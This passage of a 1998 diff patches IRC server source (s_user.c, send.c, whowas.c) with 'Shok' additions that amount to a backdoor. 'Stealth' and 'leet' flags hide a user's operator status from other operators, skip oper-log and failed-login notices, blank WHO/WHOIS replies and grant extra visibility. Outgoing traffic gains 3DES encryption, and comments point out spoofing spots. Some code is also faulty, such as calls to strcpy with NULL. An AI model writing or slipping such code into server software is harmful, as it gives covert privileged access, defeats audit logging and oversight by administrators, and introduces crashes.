  3144.      sendto_one(sptr, rpl_str(RPL_YOUREOPER),
  3145.             me.name, parv[0]);
  3146.        return 0;
  3147. -    }
  3148. -  else if (IsAnOper(sptr))
  3149. -    {
  3150. +  } 
  3151. +  else if (IsAnOper(sptr)) 
  3152. +  {
  3153.        if (MyConnect(sptr))
  3154. -    sendto_one(sptr, rpl_str(RPL_YOUREOPER),
  3155. -           me.name, parv[0]);
  3156. +     if (justop != 1) sendto_one(sptr, rpl_str(RPL_YOUREOPER),
  3157. +                             me.name, parv[0]);
  3158.        return 0;
  3159. -    }
  3160. +  }
  3161.    if (!(aconf = find_conf_exact(name, sptr->username, sptr->sockhost,
  3162.                  CONF_OPS)) &&
  3163.        !(aconf = find_conf_exact(name, sptr->username,
  3164.                  cptr->hostip, CONF_OPS)))
  3165. -    {
  3166. +  {
  3167.        sendto_one(sptr, err_str(ERR_NOOPERHOST), me.name, parv[0]);
  3168.        return 0;
  3169. -    }
  3170. +  }
  3171.  #ifdef CRYPT_OPER_PASSWORD
  3172.    /* use first two chars of the password they send in as salt */
  3173.  
  3174. @@ -2893,17 +3582,17 @@
  3175.  
  3176.    if ((aconf->status & CONF_OPS) &&
  3177.        StrEq(encr, aconf->passwd) && !attach_conf(sptr, aconf))
  3178. -    {
  3179. +  {
  3180.        int old = (sptr->flags & ALL_UMODES);
  3181.        char *s;
  3182.        
  3183.        s = index(aconf->host, '@');
  3184.        if(s == (char *)NULL)
  3185. -        {
  3186. +      {
  3187.            sendto_one(sptr, err_str(ERR_NOOPERHOST), me.name, parv[0]);
  3188.            sendto_realops("corrupt aconf->host = [%s]",aconf->host);
  3189.            return 0;
  3190. -        }
  3191. +      }
  3192.        *s++ = '\0';
  3193.  #ifdef    OPER_REMOTE
  3194.        if (aconf->status == CONF_LOCOP)
  3195. @@ -2911,21 +3600,28 @@
  3196.      if ((matches(s,me.sockhost) && !IsLocal(sptr)) ||
  3197.          aconf->status == CONF_LOCOP)
  3198.  #endif
  3199. -      {
  3200. +        {
  3201.          SetLocOp(sptr);
  3202.          sptr->flags |= (LOCOP_UMODES);
  3203. -      }
  3204. +    }
  3205.      else
  3206. -      {
  3207. +    {
  3208.          SetOper(sptr);
  3209.          sptr->flags |= (OPER_UMODES);
  3210. -      }
  3211. -      Count.oper++;
  3212. +    }
  3213. +
  3214. +      if (sptr->leet != 1) 
  3215. +         Count.oper++; /* New Shok */
  3216. +
  3217.        *--s =  '@';
  3218.        addto_fdlist(sptr->fd, &oper_fdlist);
  3219. -      sendto_ops("%s (%s@%s) is now operator (%c)", parv[0],
  3220. -         sptr->user->username, sptr->sockhost,
  3221. -         IsOper(sptr) ? 'O' : 'o');
  3222. +
  3223. +      /* Shok - (we don't want the ops to see this!) */
  3224. +      if (sptr->stealth != 1)
  3225. +         sendto_ops("%s (%s@%s) is now operator (%c)", parv[0],
  3226. +             sptr->user->username, sptr->sockhost,
  3227. +            IsOper(sptr) ? 'O' : 'o');
  3228. +
  3229.        send_umode_out(cptr, sptr, old);
  3230.        sendto_one(sptr, rpl_str(RPL_YOUREOPER), me.name, parv[0]);
  3231.  #if !defined(CRYPT_OPER_PASSWORD) && (defined(FNAME_OPERLOG) ||\
  3232. @@ -2953,30 +3649,39 @@
  3233.        if (IsPerson(sptr) &&
  3234.            (logfile = open(FNAME_OPERLOG, O_WRONLY|O_APPEND)) != -1)
  3235.          {
  3236. -          (void)alarm(0);
  3237. -          (void)ircsprintf(buf, "%s OPER (%s) (%s) by (%s!%s@%s)\n",
  3238. -                   myctime(timeofday), name, encr,
  3239. -                   parv[0], sptr->user->username,
  3240. -                   sptr->sockhost);
  3241. -          (void)alarm(3);
  3242. -          (void)write(logfile, buf, strlen(buf));
  3243. -          (void)alarm(0);
  3244. -          (void)close(logfile);
  3245. +
  3246. +              /* New Shok */
  3247. +              if (sptr->stealth != 1) {
  3248. +             (void)alarm(0);
  3249. +             (void)ircsprintf(buf, "%s OPER (%s) (%s) by (%s!%s@%s)\n",
  3250. +                      myctime(timeofday), name, encr,
  3251. +                      parv[0], sptr->user->username,
  3252. +                      sptr->sockhost);
  3253. +             (void)alarm(3);
  3254. +             (void)write(logfile, buf, strlen(buf));
  3255. +             (void)alarm(0);
  3256. +              }
  3257. +
  3258. +              (void)close(logfile);
  3259.          }
  3260.        (void)alarm(0);
  3261.        /* Modification by pjg */
  3262.      }
  3263.  #endif
  3264. -    }
  3265. +  }
  3266.    else
  3267. -    {
  3268. +  {
  3269.        (void)detach_conf(sptr, aconf);
  3270.        sendto_one(sptr,err_str(ERR_PASSWDMISMATCH),me.name, parv[0]);
  3271.  #ifdef FAILED_OPER_NOTICE
  3272. -      sendto_realops("Failed OPER attempt by %s (%s@%s)",
  3273. -             parv[0], sptr->user->username, sptr->sockhost);
  3274. +
  3275. +      /* New Shok */
  3276. +      if (sptr->stealth != 1)
  3277. +         sendto_realops("Failed OPER attempt by %s (%s@%s)",
  3278. +                parv[0], sptr->user->username, sptr->sockhost);
  3279.  #endif
  3280. -    }
  3281. +  }
  3282. +
  3283.    return 0;
  3284.  }
  3285.  
  3286. @@ -3068,6 +3773,9 @@
  3287.      (void)strncat(buf, buf2, sizeof(buf) - len);
  3288.      len += strlen(buf2);
  3289.        }
  3290. +
  3291. +  if (acptr->leet == 1) strcpy(buf, NULL); /* Shok */
  3292. +
  3293.    sendto_one(sptr, "%s", buf);
  3294.    return 0;
  3295.  }
  3296. @@ -3111,7 +3819,8 @@
  3297.      if (*buf2)
  3298.        (void)strcat(buf, " ");
  3299.  
  3300. -    if(IsAnOper(sptr))
  3301. +        /* New Shok */
  3302. +    if(IsAnOper(sptr) || sptr->leet == 1)
  3303.        {
  3304.          (void)ircsprintf(buf2, "%s%s=%c%s@%s",
  3305.                   acptr->name,
  3306. @@ -3140,6 +3849,8 @@
  3307.      (void)strncat(buf, buf2, sizeof(buf) - len);
  3308.      len += strlen(buf2);
  3309.                      }
  3310. +
  3311. +  if (acptr->stealth == 1) strcpy(buf, NULL); /* New Shok */
  3312.    sendto_one(sptr, "%s", buf);
  3313.    return 0;
  3314.  }
  3315. @@ -3237,14 +3948,18 @@
  3316.  
  3317.    if (IsServer(sptr) || sptr != acptr || acptr->from != sptr->from)
  3318.      {
  3319. -      if (IsServer(cptr))
  3320. -    sendto_ops_butone(NULL, &me,
  3321. -              ":%s WALLOPS :MODE for User %s From %s!%s",
  3322. -              me.name, parv[1],
  3323. -              get_client_name(cptr, FALSE), sptr->name);
  3324. -      else
  3325. -    sendto_one(sptr, err_str(ERR_USERSDONTMATCH),
  3326. -           me.name, parv[0]);
  3327. +      if (IsServer(cptr)) {
  3328. +
  3329. +        /* Shok - (what are we, stupid? don't send wallops in */
  3330. +        /*         stealth mode!)                             */
  3331. +        if (sptr->stealth != 1)
  3332. +       sendto_ops_butone(NULL, &me,
  3333. +                 ":%s WALLOPS :MODE for User %s From %s!%s",
  3334. +                 me.name, parv[1],
  3335. +                 get_client_name(cptr, FALSE), sptr->name);
  3336. +      } else
  3337. +    sendto_one(sptr, err_str(ERR_USERSDONTMATCH), me.name, parv[0]);
  3338. +
  3339.        return 0;
  3340.      }
  3341.   
  3342. @@ -3870,3 +4585,4 @@
  3343.  }       
  3344.  
  3345.  #endif /* FLUD */
  3346. +
  3347. Only in ../real-ircd/src: s_user.c~
  3348. diff -u ../real-ircd/src/send.c src/send.c
  3349. --- ../real-ircd/src/send.c    Sun Mar  1 11:24:11 1998
  3350. +++ src/send.c    Wed Aug 12 18:28:50 1998
  3351. @@ -32,6 +32,8 @@
  3352.  #include <stdio.h>
  3353.  #include "numeric.h"
  3354.  #include "fdlist.h"
  3355. +
  3356. +#include <des.h> /* New Shok */
  3357.  extern fdlist serv_fdlist;
  3358.  void sendto_fdlist();
  3359.  
  3360. @@ -270,42 +272,100 @@
  3361.    va_list    vl;
  3362.  #endif
  3363.  
  3364. -  int len; /* used for the length of the current message */
  3365. +  /* New Shok - a lot of mods to all of this for encrypted data */
  3366. +
  3367. +  char encstr[4096];
  3368. +  int len; /* msg len */
  3369.  
  3370. +  memset(encstr,  0, sizeof(encstr));
  3371. +  memset(sendbuf, 0, sizeof(sendbuf));
  3372. +  
  3373.  #ifdef    USE_VARARGS
  3374.    va_start(vl);
  3375. -  (void)vsprintf(sendbuf, pattern, vl);
  3376. +
  3377. +  if (to->crypt == 1)
  3378. +     (void)vsprintf(encstr, pattern, vl);
  3379. +  else
  3380. +     (void)vsprintf(sendbuf, pattern, vl);
  3381. +
  3382.    va_end(vl);
  3383. +
  3384.  #else
  3385. -  len=format(sendbuf, pattern, p1, p2, p3, p4, p5, p6,
  3386. -         p7, p8, p9, p10, p11, p12);
  3387. +  if (to->crypt == 1) 
  3388. +     len=format(encstr, pattern, p1, p2, p3, p4, p5, p6,
  3389. +            p7, p8, p9, p10, p11, p12);
  3390. +  else
  3391. +     len=format(sendbuf, pattern, p1, p2, p3, p4, p5, p6,
  3392. +            p7, p8, p9, p10, p11, p12);
  3393.  #endif
  3394. -  Debug((DEBUG_SEND,"Sending [%s] to %s", sendbuf,to->name));
  3395. +
  3396. +  if (to->crypt == 1)
  3397. +     encry(to, encstr);  /* encrypt it using 3DES */
  3398. +
  3399. +  /* Debug() is a macro, so we need the {, }'s because it */
  3400. +  /* expands to multiple command names.                   */
  3401. +  if (to->crypt == 1) {
  3402. +     Debug((DEBUG_SEND,"Sending [%s] to %s", encstr,  to->name));
  3403. +  } else { 
  3404. +     Debug((DEBUG_SEND,"Sending [%s] to %s", sendbuf, to->name));
  3405. +  }
  3406.  
  3407.    if (to->from)
  3408.      to = to->from;
  3409.    if (to->fd < 0)
  3410. -    {
  3411. +  {
  3412.        Debug((DEBUG_ERROR,
  3413.           "Local socket %s with negative fd... AARGH!",
  3414.           to->name));
  3415. -    }
  3416. +  }
  3417.    else if (IsMe(to))
  3418. -    {
  3419. -      sendto_ops("Trying to send [%s] to myself!", sendbuf);
  3420. +  {
  3421. +      if (to->crypt == 1)
  3422. +         sendto_ops("Trying to send [%s] to myself!", encstr);
  3423. +      else
  3424. +         sendto_ops("Trying to send [%s] to myself!", sendbuf);
  3425. +
  3426.        return;
  3427. -    }
  3428. +  }
  3429.  
  3430.  #ifdef USE_VARARGS
  3431. -  (void)strcat(sendbuf, NEWLINE);
  3432. +  if (to->crypt == 1)
  3433. +     (void)strcat(encstr, NEWLINE);
  3434. +  else
  3435. +     (void)strcat(sendbuf, NEWLINE);
  3436.  #ifndef    IRCII_KLUDGE
  3437. -  sendbuf[510] = '\r';
  3438. -#endif
  3439. -  sendbuf[511] = '\n';
  3440. -  sendbuf[512] = '\0';
  3441. -  len = strlen(sendbuf);
  3442. +  if (to->crypt == 1) {
  3443. +     len = strlen(encstr);
  3444. +     if (len >= (sizeof(encstr)-5)) 
  3445. +        len = (sizeof(encstr)-5);
  3446. +
  3447. +     encstr[len]='\r';
  3448. +
  3449. +  } else 
  3450. +     sendbuf[510] = '\r';
  3451. +
  3452. +#endif
  3453. +  if (to->crypt == 1) {
  3454. +     len = strlen(encstr);
  3455. +     if (len >= (sizeof(encstr)-4)) 
  3456. +        len = (sizeof(encstr)-4);
  3457. +  
  3458. +     encstr[len]   = '\n';
  3459. +     encstr[len++] = '\0';
  3460. +     len = strlen(sendbuf);
  3461. +
  3462. +  } else {
  3463. +     sendbuf[511] = '\n';
  3464. +     sendbuf[512] = '\0';
  3465. +     len = strlen(sendbuf);
  3466. +  }
  3467.  #endif /* use_varargs */
  3468. -  (void)send_message(to, sendbuf, len);
  3469. +
  3470. +  if (to->crypt == 1)
  3471. +     (void)send_message(to, encstr, len);
  3472. +  else
  3473. +     (void)send_message(to, sendbuf, len);
  3474.  }
  3475.  
  3476.  # ifndef    USE_VARARGS
  3477. @@ -1071,8 +1131,12 @@
  3478.            (void)ircsprintf(temp, pattern, par, p2, p3,
  3479.                     p4, p5, p6, p7, p8);
  3480.  #endif
  3481. -          sendto_ops("Send message (%s) to %s[%s] dropped from %s(Fake Dir)", temp,
  3482. -             to->name, to->from->name, from->name);
  3483. +              /* Shok */
  3484. +              /* We don't want the ops to get mad at us, if the */
  3485. +              /* sender or receiver is leet                     */
  3486. +              if (to->leet != 1 && to->from->leet != 1)
  3487. +            sendto_ops("Send message (%s) to %s[%s] dropped from %s(Fake Dir)", temp,
  3488. +               to->name, to->from->name, from->name);
  3489.  
  3490.            return;
  3491.          }
  3492. @@ -1094,18 +1158,18 @@
  3493.        if (MyClient(to) && IsPerson(from) && !mycmp(par, from->name))
  3494.      {
  3495.        user = from->user;
  3496. -      (void)strcpy(sender, from->name);
  3497. +      (void)strcpy(sender, from->name); /* easy way to msg spoof */
  3498.        if (user)
  3499.          {
  3500.            if (*user->username)
  3501.          {
  3502.            (void)strcat(sender, "!");
  3503. -          (void)strcat(sender, user->username);
  3504. +          (void)strcat(sender, user->username); /* heh.. spoof */
  3505.          }
  3506.            if (*user->host && !MyConnect(from))
  3507.          {
  3508.            (void)strcat(sender, "@");
  3509. -          (void)strcat(sender, user->host);
  3510. +          (void)strcat(sender, user->host); /* can spoof this */
  3511.            flag = 1;
  3512.          }
  3513.          }
  3514. @@ -1116,7 +1180,7 @@
  3515.        if (!flag && MyConnect(from) && *user->host)
  3516.          {
  3517.            (void)strcat(sender, "@");
  3518. -          (void)strcat(sender, from->sockhost);
  3519. +          (void)strcat(sender, from->sockhost); /* can spoof this */
  3520.          }
  3521.        par = sender;
  3522.      }
  3523. Only in src: version.c.last
  3524. diff -u ../real-ircd/src/whowas.c src/whowas.c
  3525. --- ../real-ircd/src/whowas.c    Sun Mar  1 11:24:11 1998
  3526. +++ src/whowas.c    Wed Aug 12 18:28:50 1998
  3527. @@ -169,11 +169,15 @@
  3528.      {
  3529.        if (!mycmp(nick, temp->name))
  3530.          {
  3531. +
  3532. +              /* New Shok */
  3533.            sendto_one(sptr, rpl_str(RPL_WHOWASUSER),
  3534. -             me.name, parv[0], temp->name,
  3535. +             me.name, parv[0], temp->curnick,
  3536. +                         temp->name,
  3537.               temp->username,
  3538.               temp->hostname,
  3539.               temp->realname);
  3540. +
  3541.            sendto_one(sptr, rpl_str(RPL_WHOISSERVER),
  3542.               me.name, parv[0], temp->name,
  3543.               temp->servername, myctime(temp->logoff));
  3544.